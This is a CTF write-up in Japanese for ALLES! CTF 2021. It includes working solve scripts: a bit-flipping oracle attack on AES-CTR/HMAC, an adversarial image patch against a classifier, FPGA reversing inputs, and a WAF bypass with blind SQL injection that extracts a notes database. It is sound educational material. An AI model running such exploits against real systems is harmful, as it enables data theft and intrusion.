ALLES! CTF 2021 Writeup

Sun Sep 05 2021

9/4-9/5 で開催していた ALLES! CTF 2021 にチーム WreckTheLine で参加しました。結果は 11th/523 (得点のあるチームのみカウント) でした。あと1問解ければ賞金圏内でした…悔しい

あまり (いわゆる Crypto の意味での) Crypto の問題はほぼなかったので、今回は普段あまりやらない問題に手を出してました。疲れた。

以下、解いた問題についての writeup です。

Boomer Crypto

※いわゆる Crypto

Secure Flag Service

46 solves

main.py
#!/usr/bin/env python3
import base64
from Crypto.Cipher import AES
from Crypto.Hash import SHA3_256, HMAC, BLAKE2s
from Crypto.Random import urandom, random
from secret import FLAG, PASSWORD

encryption_key = BLAKE2s.new(data=PASSWORD + b"encryption_key").digest()
mac_key = BLAKE2s.new(data=PASSWORD + b"mac_key").digest()


def int_to_bytes(i):
    return i.to_bytes((i.bit_length() + 7) // 8, byteorder="big")


def encode(s):
    bits = bin(int.from_bytes(s, byteorder="big"))[2:]
    ret = ""

    for bit in bits:
        if bit == "1":
            if random.randrange(0, 2):
                ret += "01"
            else:
                ret += "10"
        else:
            ret += "00"

    return int_to_bytes(int(ret, base=2))


def decode(s):
    bits = bin(int.from_bytes(s, byteorder="big"))[2:]
    if len(bits) % 2:
        bits = "0" + bits

    ret = ""

    for i in range(0, len(bits) - 1, 2):
        if int(bits[i] + bits[i + 1], base=2):
            ret += "1"
        else:
            ret += "0"

    return int_to_bytes(int(ret, base=2))


def encrypt(m):
    nonce = urandom(8)

    aes = AES.new(key=encryption_key, mode=AES.MODE_CTR, nonce=nonce)
    tag = HMAC.new(key=mac_key, msg=m).digest()

    return nonce + aes.encrypt(encode(m) + tag)


def decrypt(c):
    try:
        aes = AES.new(key=encryption_key, mode=AES.MODE_CTR, nonce=c[:8])

        decrypted = aes.decrypt(c[8:])
        message, tag = decode(decrypted[:-16]), decrypted[-16:]

        HMAC.new(key=mac_key, msg=message).verify(mac_tag=tag)
        return message
    except ValueError:
        print("Get off my lawn or I call the police!!!")
        exit(1)


def main():
    try:
        encrypted_password = base64.b64decode(input("Encrypted password>"))
        password = decrypt(encrypted_password)

        if password == PASSWORD:
            print(str(base64.b64encode(encrypt(FLAG)), "utf-8"))
        else:
            print("Wrong Password!!!")
    except:
        exit(1)


if __name__ == "__main__":
    main()

AES の CTR モードで暗号化を行っています。ただ暗号化するだけでなく、 encode を使っています。これはメッセージの各ビットについて 101 または 10 に、 000 に変更する処理です。逆の操作 decode は、 000 にしてそれ以外は 1 になります。また HMAC での検証も行われています。

PASSWORD を暗号化した文字列が問題文中に与えられているので、まずはこの値をリークさせることを試みます (自分はこの問題文中の暗号文の存在にしばらく気づかず、沼にハマってました…)

decode の処理が特殊なので、これをうまく使うことを考えます。 CTR モードでは cipher = plain + AES(nonce||counter) (+ は xor) の関係があるため、 cipher にある値で xor をとることは plain にも同じ値で xor をとることに対応します。 ここで PASSWORD の暗号文を2ビットずつ区切り、ある区切られたブロックの2ビットをそれぞれ反転 (すなわち 1 で xor をとる) させて decrypt を試みてみます。 AES の decrypt 結果もあるビットが反転した形になります。2ビットずつ見ていったときに 11, 10, 01 は1に decode000 になるので、もともと 00 ならばビット反転させた2パターンでは必ず 1 となって HMAC の検証で落ちます。もともと 01 もしくは 10 のときは片方は検証が通り、片方は検証が通らないことになります。これで PASSWORD をリークできます。

leak_password.py
from base64 import b64decode, b64encode

from Crypto.Util.number import bytes_to_long, long_to_bytes
from pwn import remote

enc_password = b64decode(b"kgsekWGeAwPhz6tbMyLd34Bg5pwhy2TkQJF7NRYC987Ibuiu/dmNHqyYXHV0kXlksThSRi83Qu2owAiUdT9pfqlY")
nonce = enc_password[:8]
enc_password = enc_password[8:]
enc_password_int = bytes_to_long(enc_password)


def try_decrypt(payload: bytes):
    io = remote("7b000000cb42a1afe848f639-secure-flag-service.challenge.master.allesctf.net", 31337, ssl=True)
    payload = b64encode(payload)
    io.sendlineafter("password>", payload)
    ret = io.recvline().strip().decode()
    io.close()
    if "Get off" in ret or "Wrong" in ret:
        return False
    else:
        return True


# server が不安定だったので EOFError の処理を書いている
rec_pass_bin = ""
for i in range(8*16, 30*16, 2):
    while True:
        try:
            print(i)
            tmp_enc_password_0 = long_to_bytes(enc_password_int ^ (1 << i))
            tmp_enc_password_1 = long_to_bytes(enc_password_int ^ (1 << (i + 1)))
            res_0 = try_decrypt(nonce + tmp_enc_password_0)
            res_1 = try_decrypt(nonce + tmp_enc_password_1)
            b = (not res_0) and (not res_1)
            rec_pass_bin = str(0 if b else 1) + rec_pass_bin
            break
        except EOFError:
            continue

PASSWORD = long_to_bytes(int(rec_pass_bin, 2))

PASSWORD が求まったので、 encryption_keymac_key も求まり、手元でフラグの暗号文を復号することができます。

solve.py
encryption_key = BLAKE2s.new(data=PASSWORD + b'encryption_key').digest()
mac_key = BLAKE2s.new(data=PASSWORD + b'mac_key').digest()

enc_flag = b64decode(b"wz2nZBOfbbFEEG7+VUxmqEmSgIMf2Zu4sunEaupksU+4Mx5MNbeE09WoSmBe/cFG/b1BXu3IA9ulc9lRy4xpzRFweKGE5m2OEK8B6rQl2k6jOzH+zdg66RyKtIvJ2g==")  # enc_password を送った
decrypt(enc_flag)

ALLES!{who_needs_ind-cca_anyways??}

Misc

PixelCat

42 solves

ML 問です。入力画像を猫か犬か分類するモデル (tensorflow 製) が与えられています。入力画像の 128x128 ピクセルの内、 1900 ピクセルまで固定の値に変更することができるフィルターを与えることができます。

Fast Gradient Sign Method が典型的には使えそうなので、試してみたらうまく動きました。 具体的には、以下の手順でやりました。

  • 与えられた猫の画像をモデルに入力し、(犬の確率)/(入力画像のピクセル)\partial(犬の確率)/\partial(入力画像のピクセル) が大きくなるようなピクセル top 1900を選び出す
    • 正直これは不要で、多分ランダムな1900点選ぶのでもいけると思う
  • ランダムな画像を生成してモデルに入力し、 (犬の確率)/(入力画像のピクセル)\partial(犬の確率)/\partial(入力画像のピクセル) の勾配を、選んだピクセルに対して足す。これを十分確率が大きくなるまで繰り返す。
    • 猫の画像の augmentation をした画像を使うほうが性能でる気がするけど、 np.random.random の画像で十分にできた。
solve.py
import numpy as np
import tensorflow as tf
from PIL import Image
from tensorflow.keras.models import load_model

ImageFile.LOAD_TRUNCATED_IMAGES = True

file_path = "cat.jpg"
w, h = (128, 128)

image = Image.open(file_path)
image = image.resize((w, h))
image = image.convert("RGB")
image = np.expand_dims(image, axis=0)
image = np.array(image)
image = image / 255

# どこの pixel でフィルター作るか決める (どこでもよさそうだけど)
inp = image.copy()
inp_tensor = tf.convert_to_tensor(inp)
with tf.GradientTape(persistent=True) as t:
    t.watch(inp_tensor)
    out = model(inp_tensor)
    out_prob = tf.math.reduce_mean(out, axis=0)[1]
grad = t.gradient(out_prob, inp_tensor)
tmp = grad.numpy().sum(axis=3)[0].reshape(-1)
idx_list_1d = tmp.argsort()[-1899:]
idx_list_2d = [(idx // 128, idx % 128) for idx in idx_list_1d]


# ランダムな入力に対して grad を計算し、 filter を更新
out_prob = 0.0
while out_prob < 0.95:
    inp = np.random.random((1024, 128, 128, 3))
    for i in range(1899):
        row, col = idx_list_2d[i]
        inp[:, row, col, :] = filters[i]
    inp_tensor = tf.convert_to_tensor(inp)
    with tf.GradientTape(persistent=True) as t:
        t.watch(inp_tensor)
        out = model(inp_tensor)
        out_prob = tf.math.reduce_mean(out, axis=0)[1]
    print(out_prob)
    grad = t.gradient(out_prob, inp_tensor)
    grad = grad.numpy().sum(axis=0)
    for i in range(1899):
        row, col = idx_list_2d[i]
        filters[i] += 10 * grad[row, col]
        filters = np.clip(filters, 0.0, 1.0)


# check
inp = image.copy()
for i in range(1899):
    row, col = idx_list_2d[i]
    inp[:, row, col, :] = filters[i]
inp_tensor = tf.convert_to_tensor(inp)
print(model(inp_tensor))


# filter 画像を出力
filters_np = np.zeros((128, 128, 4), dtype=np.uint8)
for i in range(1899):
    row, col = idx_list_2d[i]
    filters_np[row, col, :3] = 255 * filters[i]
    filters_np[row, col, 3] = 255
img = Image.fromarray(filters_np)
img.save("payload.png")

これで出力された payload.png を提出してしばらく経つとフラグが得られました。

ALLES!{4dv3r53r14l_m4ss_1m4g3_m4n1pul4t0r}

機械学習エンジニアのくせに tensorflow 全然使いこなせていないので本当にダメ…(普段は pytorch しか使ってない) grad を取るのに手こずってしまった…

Reverse Engineering

Fomu Whisperer

30 solves

VHDL で書かれたプログラムのリバーシング問題。この問題では実際に fomu に対して入力ができ、出力を LED で確認できます (ビデオで与えられます)。2ピン分入力ができるので、それらを適切に制御するとフラグのビット列が LED を通して得られます。

flag1Shift は以下のように更新されています。

            flag1Shift(flag1Shift'left downto 3) <= flag1Shift(flag1Shift'left-3 downto 0);
            flag1Shift(0) <= user_1_debounced;
            flag1Shift(1) <= user_4_debounced;
            flag1Shift(2) <= user_1_debounced xor user_4_debounced;

user_i_debounced は入力 user_i のチャタリングを除去したものです。この flag1Shiftflag1Ref に一致していると flag1Solved が1となり、それ以降ではフラグのビット列が出力されるモードになります。

  signal flag1Ref : std_logic_vector(20 downto 0) := "111101110101110000011";

...

            if (flag1Shift(flag1Ref'left downto 0) = flag1Ref) then
                flag1Solved <= '1';

...

                if (flag1Solved = '1') then
                    flag1(flag1'left downto 2) <= flag1(flag1'left-2 downto 0);
                    led_flag(2) <= flag1(flag1'left);
                    led_flag(1) <= flag1(flag1'left-1);
                    flag1(0) <= flag1(flag1'left-1);
                    flag1(1) <= flag1(flag1'left);

以下のコードを送ることで、フラグのビット列を見ることができました。 最初の sleep が4なのはタイミング調整のため、最後の sleep が240なのはフラグのビット列を最後まで見るためです。

pin 1=1,4=0
sleep 4
pin 1=0,4=1
sleep 3
pin 1=1,4=0
sleep 3
pin 1=0,4=1
sleep 3
pin 1=0,4=0
sleep 3
pin 1=1,4=1
sleep 240

最後のフラグについては、 LED が緑なら 01、青色なら 10、水色なら 11 です。自動化面倒だったので人力でやりました…

ALLES!{vhd1_r3v}

Verilog は書いたことがあったのですが VHDL は初めてだったので、基本的な記法を調べるところからでした。勉強になったし実際にハードを動かすことができて面白かったです。

Fomu Whisperer 2

21 solves

この問題は前問の続きです。前回と同様、 flag2Shiftflag2Ref に一致させればフラグが得られます。 後述しますが、ほぼチームメイトが解いてくれました。

            flag2Shift(flag2Shift'left downto 2) <= flag2Shift(flag2Shift'left-2 downto 0);
            flag2Shift(0) <= user_1_debounced;
            flag2Shift(1) <= user_4_debounced;

...

                if (flag2Shift(flag2Ref'left downto 0) = flag2Ref) then
                    flag2Solved <= '1';

ただこの問題では、 flag2RefSB_MAC16 で計算された結果を使用しています。計算には flag1 の値 (前問でわかっているので既知) を使っています。なので SB_MAC16 の動作を追うことができれば前問と同様に解くことができます。

mac16: SB_MAC16
generic map (A_REG => 1, B_REG=>1, C_REG => 1, D_REG=>1, BOTOUTPUT_SELECT=>0, BOTADDSUB_UPPERINPUT => 1, BOTADDSUB_CARRYSELECT => 1, BOTADDSUB_LOWERINPUT => 2, TOPADDSUB_UPPERINPUT => 1, TOPADDSUB_CARRYSELECT => 2, TOPOUTPUT_SELECT => 0, TOPADDSUB_LOWERINPUT => 2) 
port map(clk=>clk, A=>SA, B=>SB, C=>SC, D=>SD, O=>dout, CI => '0', OLOADBOT => '0', OHOLDBOT=>'1', ORSTBOT=>'1', OLOADTOP => '0', ORSTTOP=>'1', OHOLDTOP=>'1', ADDSUBTOP=>'1');

...

      if (rising_edge(clk)) then
          SA <= flag1(SA'left downto 0);
          SB <= flag1(flag1'left downto flag1'left-15);
          SC <= flag1(68 downto (68-15));
          SD <= flag1(86 downto (86-15));

        flag2Ref(31 downto 0) <= not dout(31 downto 0);

SB_MAC16回路図 を眺めてみたのですが動作を追うことができず、チームメイトにヘルプを投げました。すると Verilog での実装 を見つけてくれました。しかもそれを オンライン上で実行 してくれて、 dout の値を求めてくれました。あれ、自分何もしてなくない…? 以下の verilog コードが、 dout を求めるのに使われたものです。

/* 
 * Do not change Module name 
*/
module main;
    wire [15:0]SA = 16'b0111011001111101;
    wire [15:0]SB = 16'b0100000101001100;
    wire [15:0]SC = 16'b1011001101000011;
    wire [15:0]SD = 16'b0100001011110110;
    wire [31:0]SO;
  reg clk;
  SB_MAC16 s (
    .CLK(clk),
    .CE(1'b1),
    .A(SA),
    .B(SB),
    .C(SC),
    .D(SD),
    .AHOLD(1'b0),
    .BHOLD(1'b0),
    .CHOLD(1'b0),
    .DHOLD(1'b0),
    
    
    .IRSTTOP(1'b0),
    .IRSTBOT(1'b0),
    .OLOADBOT(1'b0),
    .OHOLDBOT(1'b1),
    .ORSTBOT(1'b1),
    .OLOADTOP(1'b0),
    .ORSTTOP(1'b1),
    .OHOLDTOP(1'b1),
    .ADDSUBTOP(1'b1),
    .ADDSUBBOT(1'b0),
    .CI(1'b0),
    .ACCUMCI(1'b0),
    .SIGNEXTIN(1'b0),
    .O(SO)
    
  );
initial begin
    clk = 0;
    forever 
         #1 clk = ~clk;
end
  initial 
    begin
    // forever
      $display(SO);
      $display(SA);
      #1 $display(SO);
      #1 $display(SO);#1 $display(SO);#1 $display(SO);#1 $display(SO);
      #1000 $display(SO);
      #100000 $display(SO);
      
      $finish ;
    end
endmodule

module SB_MAC16 (
	input CLK, CE,
	input [15:0] C, A, B, D,
	input AHOLD, BHOLD, CHOLD, DHOLD,
	input IRSTTOP, IRSTBOT,
	input ORSTTOP, ORSTBOT,
	input OLOADTOP, OLOADBOT,
	input ADDSUBTOP, ADDSUBBOT,
	input OHOLDTOP, OHOLDBOT,
	input CI, ACCUMCI, SIGNEXTIN,
	output [31:0] O,
	output CO, ACCUMCO, SIGNEXTOUT
);
	parameter [0:0] NEG_TRIGGER = 0;
	parameter [0:0] C_REG = 1;
	parameter [0:0] A_REG = 1;
	parameter [0:0] B_REG = 1;
	parameter [0:0] D_REG = 1;
	parameter [0:0] TOP_8x8_MULT_REG = 0;
	parameter [0:0] BOT_8x8_MULT_REG = 0;
	parameter [0:0] PIPELINE_16x16_MULT_REG1 = 0;
	parameter [0:0] PIPELINE_16x16_MULT_REG2 = 0;
	parameter [1:0] TOPOUTPUT_SELECT = 0;
	parameter [1:0] TOPADDSUB_LOWERINPUT = 2;
	parameter [0:0] TOPADDSUB_UPPERINPUT = 1;
	parameter [1:0] TOPADDSUB_CARRYSELECT = 2;
	parameter [1:0] BOTOUTPUT_SELECT = 0;
	parameter [1:0] BOTADDSUB_LOWERINPUT = 2;
	parameter [0:0] BOTADDSUB_UPPERINPUT = 1;
	parameter [1:0] BOTADDSUB_CARRYSELECT = 1;
	parameter [0:0] MODE_8x8 = 0;
	parameter [0:0] A_SIGNED = 0;
	parameter [0:0] B_SIGNED = 0;

	wire clock = CLK ^ NEG_TRIGGER;

	// internal wires, compare Figure on page 133 of ICE Technology Library 3.0 and Fig 2 on page 2 of Lattice TN1295-DSP
	// http://www.latticesemi.com/~/media/LatticeSemi/Documents/TechnicalBriefs/SBTICETechnologyLibrary201608.pdf
	// https://www.latticesemi.com/-/media/LatticeSemi/Documents/ApplicationNotes/AD/DSPFunctionUsageGuideforICE40Devices.ashx
	wire [15:0] iA, iB, iC, iD;
	wire [15:0] iF, iJ, iK, iG;
	wire [31:0] iL, iH;
	wire [15:0] iW, iX, iP, iQ;
	wire [15:0] iY, iZ, iR, iS;
	wire HCI, LCI, LCO;

	// Regs C and A
	reg [15:0] rC, rA;
	always @(posedge clock, posedge IRSTTOP) begin
		if (IRSTTOP) begin
			rC <= 0;
			rA <= 0;
		end else if (CE) begin
			if (!CHOLD) rC <= C;
			if (!AHOLD) rA <= A;
		end
	end
	assign iC = C_REG ? rC : C;
	assign iA = A_REG ? rA : A;

	// Regs B and D
	reg [15:0] rB, rD;
	always @(posedge clock, posedge IRSTBOT) begin
		if (IRSTBOT) begin
			rB <= 0;
			rD <= 0;
		end else if (CE) begin
			if (!BHOLD) rB <= B;
			if (!DHOLD) rD <= D;
		end
	end
	assign iB = B_REG ? rB : B;
	assign iD = D_REG ? rD : D;

	// Multiplier Stage
	wire [15:0] p_Ah_Bh, p_Al_Bh, p_Ah_Bl, p_Al_Bl;
	wire [15:0] Ah, Al, Bh, Bl;
	assign Ah = {A_SIGNED ? {8{iA[15]}} : 8'b0, iA[15: 8]};
	assign Al = {A_SIGNED ? {8{iA[ 7]}} : 8'b0, iA[ 7: 0]};
	assign Bh = {B_SIGNED ? {8{iB[15]}} : 8'b0, iB[15: 8]};
	assign Bl = {B_SIGNED ? {8{iB[ 7]}} : 8'b0, iB[ 7: 0]};
	assign p_Ah_Bh = Ah * Bh;
	assign p_Al_Bh = Al * Bh;
	assign p_Ah_Bl = Ah * Bl;
	assign p_Al_Bl = Al * Bl;

	// Regs F and J
	reg [15:0] rF, rJ;
	always @(posedge clock, posedge IRSTTOP) begin
		if (IRSTTOP) begin
			rF <= 0;
			rJ <= 0;
		end else if (CE) begin
			rF <= p_Ah_Bh;
			if (!MODE_8x8) rJ <= p_Al_Bh;
		end
	end
	assign iF = TOP_8x8_MULT_REG ? rF : p_Ah_Bh;
	assign iJ = PIPELINE_16x16_MULT_REG1 ? rJ : p_Al_Bh;

	// Regs K and G
	reg [15:0] rK, rG;
	always @(posedge clock, posedge IRSTBOT) begin
		if (IRSTBOT) begin
			rK <= 0;
			rG <= 0;
		end else if (CE) begin
			if (!MODE_8x8) rK <= p_Ah_Bl;
			rG <= p_Al_Bl;
		end
	end
	assign iK = PIPELINE_16x16_MULT_REG1 ? rK : p_Ah_Bl;
	assign iG = BOT_8x8_MULT_REG ? rG : p_Al_Bl;

	// Adder Stage
	assign iL = iG + (iK << 8) + (iJ << 8) + (iF << 16);

	// Reg H
	reg [31:0] rH;
	always @(posedge clock, posedge IRSTBOT) begin
		if (IRSTBOT) begin
			rH <= 0;
		end else if (CE) begin
			if (!MODE_8x8) rH <= iL;
		end
	end
	assign iH = PIPELINE_16x16_MULT_REG2 ? rH : iL;

	// Hi Output Stage
	wire [15:0] XW, Oh;
	reg [15:0] rQ;
	assign iW = TOPADDSUB_UPPERINPUT ? iC : iQ;
	assign iX = (TOPADDSUB_LOWERINPUT == 0) ? iA : (TOPADDSUB_LOWERINPUT == 1) ? iF : (TOPADDSUB_LOWERINPUT == 2) ? iH[31:16] : {16{iZ[15]}};
	assign {ACCUMCO, XW} = iX + (iW ^ {16{ADDSUBTOP}}) + HCI;
	assign CO = ACCUMCO ^ ADDSUBTOP;
	assign iP = OLOADTOP ? iC : XW ^ {16{ADDSUBTOP}};
	always @(posedge clock, posedge ORSTTOP) begin
		if (ORSTTOP) begin
			rQ <= 0;
		end else if (CE) begin
			if (!OHOLDTOP) rQ <= iP;
		end
	end
	assign iQ = rQ;
	assign Oh = (TOPOUTPUT_SELECT == 0) ? iP : (TOPOUTPUT_SELECT == 1) ? iQ : (TOPOUTPUT_SELECT == 2) ? iF : iH[31:16];
	assign HCI = (TOPADDSUB_CARRYSELECT == 0) ? 1'b0 : (TOPADDSUB_CARRYSELECT == 1) ? 1'b1 : (TOPADDSUB_CARRYSELECT == 2) ? LCO : LCO ^ ADDSUBBOT;
	assign SIGNEXTOUT = iX[15];

	// Lo Output Stage
	wire [15:0] YZ, Ol;
	reg [15:0] rS;
	assign iY = BOTADDSUB_UPPERINPUT ? iD : iS;
	assign iZ = (BOTADDSUB_LOWERINPUT == 0) ? iB : (BOTADDSUB_LOWERINPUT == 1) ? iG : (BOTADDSUB_LOWERINPUT == 2) ? iH[15:0] : {16{SIGNEXTIN}};
	assign {LCO, YZ} = iZ + (iY ^ {16{ADDSUBBOT}}) + LCI;
	assign iR = OLOADBOT ? iD : YZ ^ {16{ADDSUBBOT}};
	always @(posedge clock, posedge ORSTBOT) begin
		if (ORSTBOT) begin
			rS <= 0;
		end else if (CE) begin
			if (!OHOLDBOT) rS <= iR;
		end
	end
	assign iS = rS;
	assign Ol = (BOTOUTPUT_SELECT == 0) ? iR : (BOTOUTPUT_SELECT == 1) ? iS : (BOTOUTPUT_SELECT == 2) ? iG : iH[15:0];
	assign LCI = (BOTADDSUB_CARRYSELECT == 0) ? 1'b0 : (BOTADDSUB_CARRYSELECT == 1) ? 1'b1 : (BOTADDSUB_CARRYSELECT == 2) ? ACCUMCI : CI;
	assign O = {Oh, Ol};
endmodule

自分は dout から正解入力を作る script を書き、コードを提出し、 LED を読み取りました。

bin_to_payload.py
dout = "10010101000010100010110100010011"
for i in range(0, 32, 2):
    bit_4, bit_1 = int(dout[i]), int(dout[i+1])
    bit_4, bit_1 = 1-bit_4, 1-bit_1
    line = f"pin 4={bit_4},1={bit_1}"
    print(line)
    sleep_t = 3
    if i == 0:
        sleep_t += 1
    elif i == 24:
        sleep_t -= 1
    print(f"sleep {sleep_t}")

ALLES!{dsp_m4st3r}

競技終了1時間前ぐらいにコードを提出したので、 LED の動画が返ってくるまでのそわそわタイムが心臓に悪かったですね…

復習

Web

Amazing Crypto WAF

23 solves

ノートを書いたり閲覧したりできるアプリです。ただしこのアプリを直接操作するわけでなく、暗号化/復号を行うアプリを経由することになります。したがってノートアプリで用いる DB の中身は全て暗号化されています。

crypter/app.py
(snipped)

# the WAF is still early in development and only protects a few cases
def waf_param(param):
    MALICIOUS = ["select", "union", "alert", "script", "sleep", '"', "'", "<"]
    for key in param:
        val = param.get(key, "")
        while val != unquote(val):
            val = unquote(val)

        for evil in MALICIOUS:
            if evil.lower() in val.lower():
                raise Exception("hacker detected")

(snipped)

@app.route("/", defaults={"path": ""})
@app.route("/<path:path>", methods=["POST", "GET"])
def proxy(path):
    # Web Application Firewall
    try:
        waf_param(request.args)
        waf_param(request.form)
    except:
        return "error"

    # contact backend server
    proxy_request = None
    query = request.query_string.decode()
    print(query)
    headers = {"Cookie": request.headers.get("Cookie", None)}
    if request.method == "GET":
        proxy_request = requests.get(
            f"{BACKEND_URL}{path}?{query}", headers=headers, allow_redirects=False
        )
    elif request.method == "POST":
        headers["Content-type"] = request.content_type
        proxy_request = requests.post(
            f"{BACKEND_URL}{path}?{query}",
            data=encrypt_params(request.form),
            headers=headers,
            allow_redirects=False,
        )

    if not proxy_request:
        return "error"

    response_data = decrypt_data(proxy_request.content)
    injected_data = inject_ad(response_data)
    resp = make_response(injected_data)
    resp.status = proxy_request.status_code
    if proxy_request.headers.get("Location", None):
        resp.headers["Location"] = proxy_request.headers.get("Location")
    if proxy_request.headers.get("Set-Cookie", None):
        resp.headers["Set-Cookie"] = proxy_request.headers.get("Set-Cookie")
    if proxy_request.headers.get("Content-Type", None):
        resp.content_type = proxy_request.headers.get("Content-Type")

    return resp

アプリ側に自明な SQLi の脆弱性が存在します。

app/app.py
@app.route('/notes')
@login_required
def notes():
    order = request.args.get('order', 'desc')
    notes = query_db(f'select * from notes where user = ? order by timestamp {order}', [g.user['uuid']])
    return render_template('notes.html', user=g.user, notes=notes)

order 経由で SQLi ができそうです。しかし暗号化を行う crypter/app.py では MALICIOUS = ["select", "union", "alert", "script", "sleep", '"', "'", "<"]args の文字に含まれている場合はじく処理があり、単純にはうまくいきません。 SQLi の方法もわからなかったし、 SQLi できたとしても DB 内のデータは暗号化されているので鍵がわからないと復号できなさそう…とあれこれ悩んでいるうちに終了。


Ark さんの writeup を参考に解き直しました。

/notes?order=... ではなく /notes%3forder=... に GET しています。この場合どうなるかというと crypter/app.py では @app.route("/<path:path>", methods=["POST", "GET"]) が指定されている関係で path=notes%3forder=... が代入され、 request.args は空になり、 WAF を回避できます。なるほど… SQLi ができるようになったので、 order=LIMIT IIF(SUBSTR((SELECT body FROM notes), {idx}, 1)='{c}', 1, 0)-- 等とすると、 idx 番目の文字が c であるか否かで挙動を変えることができます。

これで DB の中身をリークできるのですが、復号しないといけません。暗号処理の部分には問題がなさそうです (そもそも web 問だし…)。ではどうすべきかというと、DB の任意の要素が同様の処理で復号されるため、ユーザー名を暗号文にすると UI に表示されるユーザー名に復号結果を表示させることができます。なるほど…

solve.py
from multiprocessing import Pool

import requests

url = "https://7b00000014971ac5d00bc620-amazing-crypto-waf.challenge.master.allesctf.net:31337/notes"
query_template = (
    "%3forder=LIMIT IIF(SUBSTR((SELECT body FROM notes), {idx}, 1)='{c}', 1, 0)--"
)

# 事前に適当にユーザー登録をしておき、ノートを一つつくっておく
headers = {
    "Cookie": "session=5118a545e05e415fb8fb756158e9df93.5b14d3e84b09aacf0b3354fc1163f73083441601608d06e055d91cbe2e694ad8"
}

# 間違っている場合の文字数を予め知っておく
query = query_template.format(idx=1, c="A")
res = requests.get(url + query, headers=headers)
len_wrong = len(res.text)


def get_results(idx: int, j: int) -> bool:
    c = chr(j)
    if c in "#%&'\"()*'/{}":
        return False
    query = query_template.format(idx=idx, c=c)
    res = requests.get(url + query, headers=headers)
    return len(res.text) != len_wrong


flag_body = ""
for idx in range(len(flag_body) + 1, 200):
    with Pool(16) as p:
        results = p.starmap(get_results, [(idx, j) for j in range(32, 128)])
    for r, j in zip(results, range(32, 128)):
        if r:
            flag_body += chr(j)
            print(flag_body)
            break
    else:
        break

ALLES!{American_scientists_said,_dont_do_WAFs!}